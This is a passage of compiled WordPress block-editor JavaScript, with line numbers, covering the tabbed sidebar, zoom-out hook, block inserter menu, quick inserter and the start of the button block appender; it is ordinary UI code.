44233var close_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z" }) });
44234
44235
44236;// ./node_modules/@wordpress/block-editor/build-module/components/tabbed-sidebar/index.js
44237
44238
44239
44240
44241
44242const { Tabs: tabbed_sidebar_Tabs } = unlock(external_wp_components_namespaceObject.privateApis);
44243function TabbedSidebar({ defaultTabId, onClose, onSelect, selectedTab, tabs, closeButtonLabel }, ref) {
44244 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-tabbed-sidebar", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
44245 tabbed_sidebar_Tabs,
44246 {
44247 selectOnMove: false,
44248 defaultTabId,
44249 onSelect,
44250 selectedTabId: selectedTab,
44251 children: [
44252 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-tabbed-sidebar__tablist-and-close-button", children: [
44253 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44254 external_wp_components_namespaceObject.Button,
44255 {
44256 className: "block-editor-tabbed-sidebar__close-button",
44257 icon: close_small_default,
44258 label: closeButtonLabel,
44259 onClick: () => onClose(),
44260 size: "compact"
44261 }
44262 ),
44263 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44264 tabbed_sidebar_Tabs.TabList,
44265 {
44266 className: "block-editor-tabbed-sidebar__tablist",
44267 ref,
44268 children: tabs.map((tab) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44269 tabbed_sidebar_Tabs.Tab,
44270 {
44271 tabId: tab.name,
44272 className: "block-editor-tabbed-sidebar__tab",
44273 children: tab.title
44274 },
44275 tab.name
44276 ))
44277 }
44278 )
44279 ] }),
44280 tabs.map((tab) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44281 tabbed_sidebar_Tabs.TabPanel,
44282 {
44283 tabId: tab.name,
44284 focusable: false,
44285 className: "block-editor-tabbed-sidebar__tabpanel",
44286 ref: tab.panelRef,
44287 children: tab.panel
44288 },
44289 tab.name
44290 ))
44291 ]
44292 }
44293 ) });
44294}
44295var tabbed_sidebar_default = (0,external_wp_element_namespaceObject.forwardRef)(TabbedSidebar);
44296
44297
44298;// ./node_modules/@wordpress/block-editor/build-module/hooks/use-zoom-out.js
44299
44300
44301
44302
44303function useZoomOut(enabled = true) {
44304 const { setZoomLevel, resetZoomLevel } = unlock(
44305 (0,external_wp_data_namespaceObject.useDispatch)(store)
44306 );
44307 const { isZoomedOut, isZoomOut } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
44308 const { isZoomOut: _isZoomOut } = unlock(select(store));
44309 return {
44310 isZoomedOut: _isZoomOut(),
44311 isZoomOut: _isZoomOut
44312 };
44313 }, []);
44314 const controlZoomLevelRef = (0,external_wp_element_namespaceObject.useRef)(false);
44315 const isEnabledRef = (0,external_wp_element_namespaceObject.useRef)(enabled);
44316 (0,external_wp_element_namespaceObject.useEffect)(() => {
44317 if (isZoomedOut !== isEnabledRef.current) {
44318 controlZoomLevelRef.current = false;
44319 }
44320 }, [isZoomedOut]);
44321 (0,external_wp_element_namespaceObject.useEffect)(() => {
44322 isEnabledRef.current = enabled;
44323 if (enabled !== isZoomOut()) {
44324 controlZoomLevelRef.current = true;
44325 if (enabled) {
44326 setZoomLevel("auto-scaled");
44327 } else {
44328 resetZoomLevel();
44329 }
44330 }
44331 return () => {
44332 if (controlZoomLevelRef.current && isZoomOut()) {
44333 resetZoomLevel();
44334 }
44335 };
44336 }, [enabled, isZoomOut, resetZoomLevel, setZoomLevel]);
44337}
44338
44339
44340;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/menu.js
44341
44342
44343
44344
44345
44346
44347
44348
44349
44350
44351
44352
44353
44354
44355
44356
44357
44358
44359
44360const NOOP = () => {
44361};
44362function InserterMenu({
44363 rootClientId,
44364 clientId,
44365 isAppender,
44366 __experimentalInsertionIndex,
44367 onSelect,
44368 showInserterHelpPanel,
44369 showMostUsedBlocks,
44370 __experimentalFilterValue = "",
44371 shouldFocusBlock = true,
44372 onPatternCategorySelection,
44373 onClose,
44374 __experimentalInitialTab,
44375 __experimentalInitialCategory
44376}, ref) {
44377 const { isZoomOutMode, hasSectionRootClientId } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
44378 const { isZoomOut, getSectionRootClientId } = unlock(
44379 select(store)
44380 );
44381 return {
44382 isZoomOutMode: isZoomOut(),
44383 hasSectionRootClientId: !!getSectionRootClientId()
44384 };
44385 }, []);
44386 const [filterValue, setFilterValue, delayedFilterValue] = (0,external_wp_compose_namespaceObject.useDebouncedInput)(__experimentalFilterValue);
44387 const [hoveredItem, setHoveredItem] = (0,external_wp_element_namespaceObject.useState)(null);
44388 const [selectedPatternCategory, setSelectedPatternCategory] = (0,external_wp_element_namespaceObject.useState)(
44389 __experimentalInitialCategory
44390 );
44391 const [patternFilter, setPatternFilter] = (0,external_wp_element_namespaceObject.useState)("all");
44392 const [selectedMediaCategory, setSelectedMediaCategory] = (0,external_wp_element_namespaceObject.useState)(null);
44393 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("large");
44394 function getInitialTab() {
44395 if (__experimentalInitialTab) {
44396 return __experimentalInitialTab;
44397 }
44398 if (isZoomOutMode) {
44399 return "patterns";
44400 }
44401 return "blocks";
44402 }
44403 const [selectedTab, setSelectedTab] = (0,external_wp_element_namespaceObject.useState)(getInitialTab());
44404 const shouldUseZoomOut = hasSectionRootClientId && (selectedTab === "patterns" || selectedTab === "media");
44405 useZoomOut(shouldUseZoomOut && isLargeViewport);
44406 const [destinationRootClientId, onInsertBlocks, onToggleInsertionPoint] = use_insertion_point_default({
44407 rootClientId,
44408 clientId,
44409 isAppender,
44410 insertionIndex: __experimentalInsertionIndex,
44411 shouldFocusBlock
44412 });
44413 const blockTypesTabRef = (0,external_wp_element_namespaceObject.useRef)();
44414 const onInsert = (0,external_wp_element_namespaceObject.useCallback)(
44415 (blocks, meta, shouldForceFocusBlock, _rootClientId) => {
44416 onInsertBlocks(
44417 blocks,
44418 meta,
44419 shouldForceFocusBlock,
44420 _rootClientId
44421 );
44422 onSelect(blocks);
44423 window.requestAnimationFrame(() => {
44424 if (!shouldFocusBlock && !blockTypesTabRef.current?.contains(
44425 ref.current.ownerDocument.activeElement
44426 )) {
44427 blockTypesTabRef.current?.querySelector("button").focus();
44428 }
44429 });
44430 },
44431 [onInsertBlocks, onSelect, shouldFocusBlock]
44432 );
44433 const onInsertPattern = (0,external_wp_element_namespaceObject.useCallback)(
44434 (blocks, patternName, ...args) => {
44435 onToggleInsertionPoint(false);
44436 onInsertBlocks(blocks, { patternName }, ...args);
44437 onSelect();
44438 },
44439 [onInsertBlocks, onSelect]
44440 );
44441 const onHover = (0,external_wp_element_namespaceObject.useCallback)(
44442 (item) => {
44443 onToggleInsertionPoint(item);
44444 setHoveredItem(item);
44445 },
44446 [onToggleInsertionPoint, setHoveredItem]
44447 );
44448 const onClickPatternCategory = (0,external_wp_element_namespaceObject.useCallback)(
44449 (patternCategory, filter) => {
44450 setSelectedPatternCategory(patternCategory);
44451 setPatternFilter(filter);
44452 onPatternCategorySelection?.();
44453 },
44454 [setSelectedPatternCategory, onPatternCategorySelection]
44455 );
44456 const showPatternPanel = selectedTab === "patterns" && !delayedFilterValue && !!selectedPatternCategory;
44457 const showMediaPanel = selectedTab === "media" && !!selectedMediaCategory;
44458 const inserterSearch = (0,external_wp_element_namespaceObject.useMemo)(() => {
44459 if (selectedTab === "media") {
44460 return null;
44461 }
44462 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
44463 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44464 external_wp_components_namespaceObject.SearchControl,
44465 {
44466 __nextHasNoMarginBottom: true,
44467 className: "block-editor-inserter__search",
44468 onChange: (value) => {
44469 if (hoveredItem) {
44470 setHoveredItem(null);
44471 }
44472 setFilterValue(value);
44473 },
44474 value: filterValue,
44475 label: (0,external_wp_i18n_namespaceObject.__)("Search"),
44476 placeholder: (0,external_wp_i18n_namespaceObject.__)("Search")
44477 }
44478 ),
44479 !!delayedFilterValue && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44480 search_results_search_results_default,
44481 {
44482 filterValue: delayedFilterValue,
44483 onSelect,
44484 onHover,
44485 rootClientId,
44486 clientId,
44487 isAppender,
44488 __experimentalInsertionIndex,
44489 showBlockDirectory: true,
44490 shouldFocusBlock,
44491 prioritizePatterns: selectedTab === "patterns"
44492 }
44493 )
44494 ] });
44495 }, [
44496 selectedTab,
44497 hoveredItem,
44498 setHoveredItem,
44499 setFilterValue,
44500 filterValue,
44501 delayedFilterValue,
44502 onSelect,
44503 onHover,
44504 shouldFocusBlock,
44505 clientId,
44506 rootClientId,
44507 __experimentalInsertionIndex,
44508 isAppender
44509 ]);
44510 const blocksTab = (0,external_wp_element_namespaceObject.useMemo)(() => {
44511 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
44512 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__block-list", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44513 block_types_tab_default,
44514 {
44515 ref: blockTypesTabRef,
44516 rootClientId: destinationRootClientId,
44517 onInsert,
44518 onHover,
44519 showMostUsedBlocks
44520 }
44521 ) }),
44522 showInserterHelpPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-inserter__tips", children: [
44523 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { as: "h2", children: (0,external_wp_i18n_namespaceObject.__)("A tip for using the block editor") }),
44524 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(tips_default, {})
44525 ] })
44526 ] });
44527 }, [
44528 destinationRootClientId,
44529 onInsert,
44530 onHover,
44531 showMostUsedBlocks,
44532 showInserterHelpPanel
44533 ]);
44534 const patternsTab = (0,external_wp_element_namespaceObject.useMemo)(() => {
44535 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44536 block_patterns_tab_default,
44537 {
44538 rootClientId: destinationRootClientId,
44539 onInsert: onInsertPattern,
44540 onSelectCategory: onClickPatternCategory,
44541 selectedCategory: selectedPatternCategory,
44542 children: showPatternPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44543 PatternCategoryPreviews,
44544 {
44545 rootClientId: destinationRootClientId,
44546 onInsert: onInsertPattern,
44547 category: selectedPatternCategory,
44548 patternFilter,
44549 showTitlesAsTooltip: true
44550 }
44551 )
44552 }
44553 );
44554 }, [
44555 destinationRootClientId,
44556 onInsertPattern,
44557 onClickPatternCategory,
44558 patternFilter,
44559 selectedPatternCategory,
44560 showPatternPanel
44561 ]);
44562 const mediaTab = (0,external_wp_element_namespaceObject.useMemo)(() => {
44563 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44564 media_tab_default,
44565 {
44566 rootClientId: destinationRootClientId,
44567 selectedCategory: selectedMediaCategory,
44568 onSelectCategory: setSelectedMediaCategory,
44569 onInsert,
44570 children: showMediaPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44571 MediaCategoryPanel,
44572 {
44573 rootClientId: destinationRootClientId,
44574 onInsert,
44575 category: selectedMediaCategory
44576 }
44577 )
44578 }
44579 );
44580 }, [
44581 destinationRootClientId,
44582 onInsert,
44583 selectedMediaCategory,
44584 setSelectedMediaCategory,
44585 showMediaPanel
44586 ]);
44587 const handleSetSelectedTab = (value) => {
44588 if (value !== "patterns") {
44589 setSelectedPatternCategory(null);
44590 }
44591 setSelectedTab(value);
44592 };
44593 const tabsRef = (0,external_wp_element_namespaceObject.useRef)();
44594 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
44595 if (tabsRef.current) {
44596 window.requestAnimationFrame(() => {
44597 tabsRef.current.querySelector('[role="tab"][aria-selected="true"]')?.focus();
44598 });
44599 }
44600 }, []);
44601 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
44602 "div",
44603 {
44604 className: dist_clsx("block-editor-inserter__menu", {
44605 "show-panel": showPatternPanel || showMediaPanel,
44606 "is-zoom-out": isZoomOutMode
44607 }),
44608 ref,
44609 children: [
44610 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__main-area", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44611 tabbed_sidebar_default,
44612 {
44613 ref: tabsRef,
44614 onSelect: handleSetSelectedTab,
44615 onClose,
44616 selectedTab,
44617 closeButtonLabel: (0,external_wp_i18n_namespaceObject.__)("Close Block Inserter"),
44618 tabs: [
44619 {
44620 name: "blocks",
44621 title: (0,external_wp_i18n_namespaceObject.__)("Blocks"),
44622 panel: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
44623 inserterSearch,
44624 selectedTab === "blocks" && !delayedFilterValue && blocksTab
44625 ] })
44626 },
44627 {
44628 name: "patterns",
44629 title: (0,external_wp_i18n_namespaceObject.__)("Patterns"),
44630 panel: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
44631 inserterSearch,
44632 selectedTab === "patterns" && !delayedFilterValue && patternsTab
44633 ] })
44634 },
44635 {
44636 name: "media",
44637 title: (0,external_wp_i18n_namespaceObject.__)("Media"),
44638 panel: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
44639 inserterSearch,
44640 mediaTab
44641 ] })
44642 }
44643 ]
44644 }
44645 ) }),
44646 showInserterHelpPanel && hoveredItem && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44647 external_wp_components_namespaceObject.Popover,
44648 {
44649 className: "block-editor-inserter__preview-container__popover",
44650 placement: "right-start",
44651 offset: 16,
44652 focusOnMount: false,
44653 animate: false,
44654 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(preview_panel_default, { item: hoveredItem })
44655 }
44656 )
44657 ]
44658 }
44659 );
44660}
44661const PrivateInserterMenu = (0,external_wp_element_namespaceObject.forwardRef)(InserterMenu);
44662function PublicInserterMenu(props, ref) {
44663 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44664 PrivateInserterMenu,
44665 {
44666 ...props,
44667 onPatternCategorySelection: NOOP,
44668 ref
44669 }
44670 );
44671}
44672var menu_default = (0,external_wp_element_namespaceObject.forwardRef)(PublicInserterMenu);
44673
44674
44675;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/quick-inserter.js
44676
44677
44678
44679
44680
44681
44682
44683
44684
44685
44686const SEARCH_THRESHOLD = 6;
44687const SHOWN_BLOCK_TYPES = 6;
44688const SHOWN_BLOCK_PATTERNS = 2;
44689function QuickInserter({
44690 onSelect,
44691 rootClientId,
44692 clientId,
44693 isAppender,
44694 selectBlockOnInsert,
44695 hasSearch = true
44696}) {
44697 const [filterValue, setFilterValue] = (0,external_wp_element_namespaceObject.useState)("");
44698 const [destinationRootClientId, onInsertBlocks] = use_insertion_point_default({
44699 onSelect,
44700 rootClientId,
44701 clientId,
44702 isAppender,
44703 selectBlockOnInsert
44704 });
44705 const [blockTypes] = use_block_types_state_default(
44706 destinationRootClientId,
44707 onInsertBlocks,
44708 true
44709 );
44710 const { setInserterIsOpened, insertionIndex } = (0,external_wp_data_namespaceObject.useSelect)(
44711 (select) => {
44712 const { getSettings, getBlockIndex, getBlockCount } = select(store);
44713 const settings = getSettings();
44714 const index = getBlockIndex(clientId);
44715 const blockCount = getBlockCount();
44716 return {
44717 setInserterIsOpened: settings.__experimentalSetIsInserterOpened,
44718 insertionIndex: index === -1 ? blockCount : index
44719 };
44720 },
44721 [clientId]
44722 );
44723 const showSearch = hasSearch && blockTypes.length > SEARCH_THRESHOLD;
44724 (0,external_wp_element_namespaceObject.useEffect)(() => {
44725 if (setInserterIsOpened) {
44726 setInserterIsOpened(false);
44727 }
44728 }, [setInserterIsOpened]);
44729 const onBrowseAll = () => {
44730 setInserterIsOpened({
44731 filterValue,
44732 onSelect,
44733 rootClientId,
44734 insertionIndex
44735 });
44736 };
44737 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
44738 "div",
44739 {
44740 className: dist_clsx("block-editor-inserter__quick-inserter", {
44741 "has-search": showSearch,
44742 "has-expand": setInserterIsOpened
44743 }),
44744 children: [
44745 showSearch && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44746 external_wp_components_namespaceObject.SearchControl,
44747 {
44748 __nextHasNoMarginBottom: true,
44749 className: "block-editor-inserter__search",
44750 value: filterValue,
44751 onChange: (value) => {
44752 setFilterValue(value);
44753 },
44754 label: (0,external_wp_i18n_namespaceObject.__)("Search"),
44755 placeholder: (0,external_wp_i18n_namespaceObject.__)("Search")
44756 }
44757 ),
44758 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__quick-inserter-results", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44759 search_results_search_results_default,
44760 {
44761 filterValue,
44762 onSelect,
44763 rootClientId,
44764 clientId,
44765 isAppender,
44766 maxBlockPatterns: !!filterValue ? SHOWN_BLOCK_PATTERNS : 0,
44767 maxBlockTypes: SHOWN_BLOCK_TYPES,
44768 isDraggable: false,
44769 selectBlockOnInsert,
44770 isQuick: true
44771 }
44772 ) }),
44773 setInserterIsOpened && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44774 external_wp_components_namespaceObject.Button,
44775 {
44776 __next40pxDefaultSize: true,
44777 className: "block-editor-inserter__quick-inserter-expand",
44778 onClick: onBrowseAll,
44779 "aria-label": (0,external_wp_i18n_namespaceObject.__)(
44780 "Browse all. This will open the main inserter panel in the editor toolbar."
44781 ),
44782 children: (0,external_wp_i18n_namespaceObject.__)("Browse all")
44783 }
44784 )
44785 ]
44786 }
44787 );
44788}
44789
44790
44791;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/index.js
44792
44793
44794
44795
44796
44797
44798
44799
44800
44801
44802
44803
44804
44805const defaultRenderToggle = ({
44806 onToggle,
44807 disabled,
44808 isOpen,
44809 blockTitle,
44810 hasSingleBlockType,
44811 toggleProps = {}
44812}) => {
44813 const {
44814 as: Wrapper = external_wp_components_namespaceObject.Button,
44815 label: labelProp,
44816 onClick,
44817 ...rest
44818 } = toggleProps;
44819 let label = labelProp;
44820 if (!label && hasSingleBlockType) {
44821 label = (0,external_wp_i18n_namespaceObject.sprintf)(
44822 // translators: %s: the name of the block when there is only one
44823 (0,external_wp_i18n_namespaceObject._x)("Add %s", "directly add the only allowed block"),
44824 blockTitle
44825 );
44826 } else if (!label) {
44827 label = (0,external_wp_i18n_namespaceObject._x)("Add block", "Generic label for block inserter button");
44828 }
44829 function handleClick(event) {
44830 if (onToggle) {
44831 onToggle(event);
44832 }
44833 if (onClick) {
44834 onClick(event);
44835 }
44836 }
44837 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44838 Wrapper,
44839 {
44840 __next40pxDefaultSize: toggleProps.as ? void 0 : true,
44841 icon: plus_default,
44842 label,
44843 tooltipPosition: "bottom",
44844 onClick: handleClick,
44845 className: "block-editor-inserter__toggle",
44846 "aria-haspopup": !hasSingleBlockType ? "true" : false,
44847 "aria-expanded": !hasSingleBlockType ? isOpen : false,
44848 disabled,
44849 ...rest
44850 }
44851 );
44852};
44853class Inserter extends external_wp_element_namespaceObject.Component {
44854 constructor() {
44855 super(...arguments);
44856 this.onToggle = this.onToggle.bind(this);
44857 this.renderToggle = this.renderToggle.bind(this);
44858 this.renderContent = this.renderContent.bind(this);
44859 }
44860 onToggle(isOpen) {
44861 const { onToggle } = this.props;
44862 if (onToggle) {
44863 onToggle(isOpen);
44864 }
44865 }
44866 /**
44867 * Render callback to display Dropdown toggle element.
44868 *
44869 * @param {Object} options
44870 * @param {Function} options.onToggle Callback to invoke when toggle is
44871 * pressed.
44872 * @param {boolean} options.isOpen Whether dropdown is currently open.
44873 *
44874 * @return {Element} Dropdown toggle element.
44875 */
44876 renderToggle({ onToggle, isOpen }) {
44877 const {
44878 disabled,
44879 blockTitle,
44880 hasSingleBlockType,
44881 directInsertBlock,
44882 toggleProps,
44883 hasItems,
44884 renderToggle = defaultRenderToggle
44885 } = this.props;
44886 return renderToggle({
44887 onToggle,
44888 isOpen,
44889 disabled: disabled || !hasItems,
44890 blockTitle,
44891 hasSingleBlockType,
44892 directInsertBlock,
44893 toggleProps
44894 });
44895 }
44896 /**
44897 * Render callback to display Dropdown content element.
44898 *
44899 * @param {Object} options
44900 * @param {Function} options.onClose Callback to invoke when dropdown is
44901 * closed.
44902 *
44903 * @return {Element} Dropdown content element.
44904 */
44905 renderContent({ onClose }) {
44906 const {
44907 rootClientId,
44908 clientId,
44909 isAppender,
44910 showInserterHelpPanel,
44911 // This prop is experimental to give some time for the quick inserter to mature
44912 // Feel free to make them stable after a few releases.
44913 __experimentalIsQuick: isQuick,
44914 onSelectOrClose,
44915 selectBlockOnInsert
44916 } = this.props;
44917 if (isQuick) {
44918 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44919 QuickInserter,
44920 {
44921 onSelect: (blocks) => {
44922 const firstBlock = Array.isArray(blocks) && blocks?.length ? blocks[0] : blocks;
44923 if (onSelectOrClose && typeof onSelectOrClose === "function") {
44924 onSelectOrClose(firstBlock);
44925 }
44926 onClose();
44927 },
44928 rootClientId,
44929 clientId,
44930 isAppender,
44931 selectBlockOnInsert
44932 }
44933 );
44934 }
44935 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44936 menu_default,
44937 {
44938 onSelect: () => {
44939 onClose();
44940 },
44941 rootClientId,
44942 clientId,
44943 isAppender,
44944 showInserterHelpPanel
44945 }
44946 );
44947 }
44948 render() {
44949 const {
44950 position,
44951 hasSingleBlockType,
44952 directInsertBlock,
44953 insertOnlyAllowedBlock,
44954 __experimentalIsQuick: isQuick,
44955 onSelectOrClose
44956 } = this.props;
44957 if (hasSingleBlockType || directInsertBlock) {
44958 return this.renderToggle({ onToggle: insertOnlyAllowedBlock });
44959 }
44960 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44961 external_wp_components_namespaceObject.Dropdown,
44962 {
44963 className: "block-editor-inserter",
44964 contentClassName: dist_clsx("block-editor-inserter__popover", {
44965 "is-quick": isQuick
44966 }),
44967 popoverProps: { position, shift: true },
44968 onToggle: this.onToggle,
44969 expandOnMobile: true,
44970 headerTitle: (0,external_wp_i18n_namespaceObject.__)("Add a block"),
44971 renderToggle: this.renderToggle,
44972 renderContent: this.renderContent,
44973 onClose: onSelectOrClose
44974 }
44975 );
44976 }
44977}
44978var inserter_default = (0,external_wp_compose_namespaceObject.compose)([
44979 (0,external_wp_data_namespaceObject.withSelect)(
44980 (select, { clientId, rootClientId, shouldDirectInsert = true }) => {
44981 const {
44982 getBlockRootClientId,
44983 hasInserterItems,
44984 getAllowedBlocks,
44985 getDirectInsertBlock
44986 } = select(store);
44987 const { getBlockVariations } = select(external_wp_blocks_namespaceObject.store);
44988 rootClientId = rootClientId || getBlockRootClientId(clientId) || void 0;
44989 const allowedBlocks = getAllowedBlocks(rootClientId);
44990 const directInsertBlock = shouldDirectInsert && getDirectInsertBlock(rootClientId);
44991 const hasSingleBlockType = allowedBlocks?.length === 1 && getBlockVariations(allowedBlocks[0].name, "inserter")?.length === 0;
44992 let allowedBlockType = false;
44993 if (hasSingleBlockType) {
44994 allowedBlockType = allowedBlocks[0];
44995 }
44996 return {
44997 hasItems: hasInserterItems(rootClientId),
44998 hasSingleBlockType,
44999 blockTitle: allowedBlockType ? allowedBlockType.title : "",
45000 allowedBlockType,
45001 directInsertBlock,
45002 rootClientId
45003 };
45004 }
45005 ),
45006 (0,external_wp_data_namespaceObject.withDispatch)((dispatch, ownProps, { select }) => {
45007 return {
45008 insertOnlyAllowedBlock() {
45009 const {
45010 rootClientId,
45011 clientId,
45012 isAppender,
45013 hasSingleBlockType,
45014 allowedBlockType,
45015 directInsertBlock,
45016 onSelectOrClose,
45017 selectBlockOnInsert
45018 } = ownProps;
45019 if (!hasSingleBlockType && !directInsertBlock) {
45020 return;
45021 }
45022 function getAdjacentBlockAttributes(attributesToCopy) {
45023 const { getBlock, getPreviousBlockClientId } = select(store);
45024 if (!attributesToCopy || !clientId && !rootClientId) {
45025 return {};
45026 }
45027 const result = {};
45028 let adjacentAttributes = {};
45029 if (!clientId) {
45030 const parentBlock = getBlock(rootClientId);
45031 if (parentBlock?.innerBlocks?.length) {
45032 const lastInnerBlock = parentBlock.innerBlocks[parentBlock.innerBlocks.length - 1];
45033 if (directInsertBlock && directInsertBlock?.name === lastInnerBlock.name) {
45034 adjacentAttributes = lastInnerBlock.attributes;
45035 }
45036 }
45037 } else {
45038 const currentBlock = getBlock(clientId);
45039 const previousBlock = getBlock(
45040 getPreviousBlockClientId(clientId)
45041 );
45042 if (currentBlock?.name === previousBlock?.name) {
45043 adjacentAttributes = previousBlock?.attributes || {};
45044 }
45045 }
45046 attributesToCopy.forEach((attribute) => {
45047 if (adjacentAttributes.hasOwnProperty(attribute)) {
45048 result[attribute] = adjacentAttributes[attribute];
45049 }
45050 });
45051 return result;
45052 }
45053 function getInsertionIndex() {
45054 const {
45055 getBlockIndex,
45056 getBlockSelectionEnd,
45057 getBlockOrder,
45058 getBlockRootClientId
45059 } = select(store);
45060 if (clientId) {
45061 return getBlockIndex(clientId);
45062 }
45063 const end = getBlockSelectionEnd();
45064 if (!isAppender && end && getBlockRootClientId(end) === rootClientId) {
45065 return getBlockIndex(end) + 1;
45066 }
45067 return getBlockOrder(rootClientId).length;
45068 }
45069 const { insertBlock } = dispatch(store);
45070 let blockToInsert;
45071 if (directInsertBlock) {
45072 const newAttributes = getAdjacentBlockAttributes(
45073 directInsertBlock.attributesToCopy
45074 );
45075 blockToInsert = (0,external_wp_blocks_namespaceObject.createBlock)(directInsertBlock.name, {
45076 ...directInsertBlock.attributes || {},
45077 ...newAttributes
45078 });
45079 } else {
45080 blockToInsert = (0,external_wp_blocks_namespaceObject.createBlock)(allowedBlockType.name);
45081 }
45082 insertBlock(
45083 blockToInsert,
45084 getInsertionIndex(),
45085 rootClientId,
45086 selectBlockOnInsert
45087 );
45088 if (onSelectOrClose) {
45089 onSelectOrClose(blockToInsert);
45090 }
45091 const message = (0,external_wp_i18n_namespaceObject.sprintf)(
45092 // translators: %s: the name of the block that has been added
45093 (0,external_wp_i18n_namespaceObject.__)("%s block added"),
45094 allowedBlockType.title
45095 );
45096 (0,external_wp_a11y_namespaceObject.speak)(message);
45097 }
45098 };
45099 }),
45100 // The global inserter should always be visible, we are using ( ! isAppender && ! rootClientId && ! clientId ) as
45101 // a way to detect the global Inserter.
45102 (0,external_wp_compose_namespaceObject.ifCondition)(
45103 ({ hasItems, isAppender, rootClientId, clientId }) => hasItems || !isAppender && !rootClientId && !clientId
45104 )
45105])(Inserter);
45106
45107
45108;// ./node_modules/@wordpress/block-editor/build-module/components/button-block-appender/index.js
45109
45110
45111
45112
45113
45114
45115
45116
45117function button_block_appender_ButtonBlockAppender({ rootClientId, className, onFocus, tabIndex, onSelect }, ref) {
45118 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45119 inserter_default,
45120 {
45121 position: "bottom center",
45122 rootClientId,
45123 __experimentalIsQuick: true,
45124 onSelectOrClose: (...args) => {
45125 if (onSelect && typeof onSelect === "function") {
45126 onSelect(...args);
45127 }
45128 },
45129 renderToggle: ({
45130 onToggle,
45131 disabled,
45132 isOpen,
45133 blockTitle,
45134 hasSingleBlockType
45135 }) => {
45136 const isToggleButton = !hasSingleBlockType;
45137 const label = hasSingleBlockType ? (0,external_wp_i18n_namespaceObject.sprintf)(
45138 // translators: %s: the name of the block when there is only one
45139 (0,external_wp_i18n_namespaceObject._x)(
45140 "Add %s",
45141 "directly add the only allowed block"
45142 ),
45143 blockTitle
45144 ) : (0,external_wp_i18n_namespaceObject._x)(
45145 "Add block",
45146 "Generic label for block inserter button"
45147 );
45148 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45149 external_wp_components_namespaceObject.Button,
45150 {
45151 __next40pxDefaultSize: true,
45152 ref,
45153 onFocus,
45154 tabIndex,
45155 className: dist_clsx(
45156 className,
45157 "block-editor-button-block-appender"
45158 ),
45159 onClick: onToggle,
